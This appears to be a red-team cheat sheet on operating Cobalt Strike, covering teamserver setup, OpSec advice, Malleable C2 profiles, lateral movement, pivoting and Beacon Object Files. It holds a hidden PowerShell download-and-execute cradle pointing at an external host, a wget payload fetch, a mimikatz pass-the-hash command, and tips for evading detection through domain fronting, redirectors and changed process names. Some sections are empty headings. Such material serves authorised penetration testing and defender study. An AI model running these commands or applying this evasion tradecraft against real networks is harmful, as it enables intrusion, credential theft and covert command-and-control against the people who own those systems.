Cobalt Strike

Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.

sudo apt-get update
sudo apt-get install openjdk-11-jdk
sudo apt install proxychains socat
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
./cobaltstrike
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))" 

Summary

Infrastructure

Redirectors

Domain Fronting

  • New Listener > HTTP Host Header

  • Choose a domain in "Finance & Healthcare" sector

OpSec

Don't

  • Use default self-signed HTTPS certificate

  • Use default port (50050)

  • Use 0.0.0.0 DNS response

  • Metasploit compatibility, ask for a payload : wget -U "Internet Explorer" http://127.0.0.1/vl6D

Do

  • Use a redirector (Apache, CDN, ...)

  • Firewall to only accept HTTP/S from the redirectors

  • Firewall 50050 and access via SSH tunnel

  • Edit default HTTP 404 page and Content type: text/plain

  • No staging set hosts_stage to false in Malleable C2

  • Use Malleable Profile to taylor your attack to specific actors

Customer ID

The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.

  • The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.

  • The trial has a Customer ID value of 0.

  • Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool

Malleable C2

List of Malleable Profiles hosted on Github

Example of syntax

Check a profile with ./c2lint.

  • A result of 0 is returned if c2lint completes with no errors

  • A result of 1 is returned if c2lint completes with only warnings

  • A result of 2 is returned if c2lint completes with only errors

  • A result of 3 is returned if c2lint completes with both errors and warning

Files

Powershell and .NET

Powershell commands

.NET remote execution

Run a local .NET executable as a Beacon post-exploitation job.

Require:

  • Binaries compiled with the "Any CPU" configuration.

Lateral Movement

⚠️ OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe

  • portscan: Performs a portscan on a specific target.

  • runas: A wrapper of runas.exe, using credentials you can run a command as another user.

  • pth: By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. This module needs Administrator privileges.

  • steal_token: Steal a token from a specified process.

  • make_token: By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.

  • jump: Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. The jump module will use the current delegation/impersonation token to authenticate on the remote target. 💪 We can combine the jump module with the make_token or pth module for a quick "jump" to another target on the network.

  • remote-exec: Execute a command on a remote target using psexec, winrm or wmi. The remote-exec module will use the current delegation/impersonation token to authenticate on the remote target.

  • ssh/ssh-key: Authenticate using ssh with password or private key. Works for both linux and windows hosts.

⚠️ All the commands launch powershell.exe

Opsec safe Pass-the-Hash:

  1. mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"

  2. steal_token PID

Assume Control of Artifact

  • Use link to connect to SMB Beacon

  • Use connect to connect to TCP Beacon

VPN & Pivots

⚠️ Covert VPN doesn't work with W10, and requires Administrator access to deploy.

Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.

Beacon Object Files

A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs

Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.harrow-up-right

  • Compile

  • Execute: inline-execute /path/to/hello.o

NTLM Relaying via Cobalt Strike

References

Last updated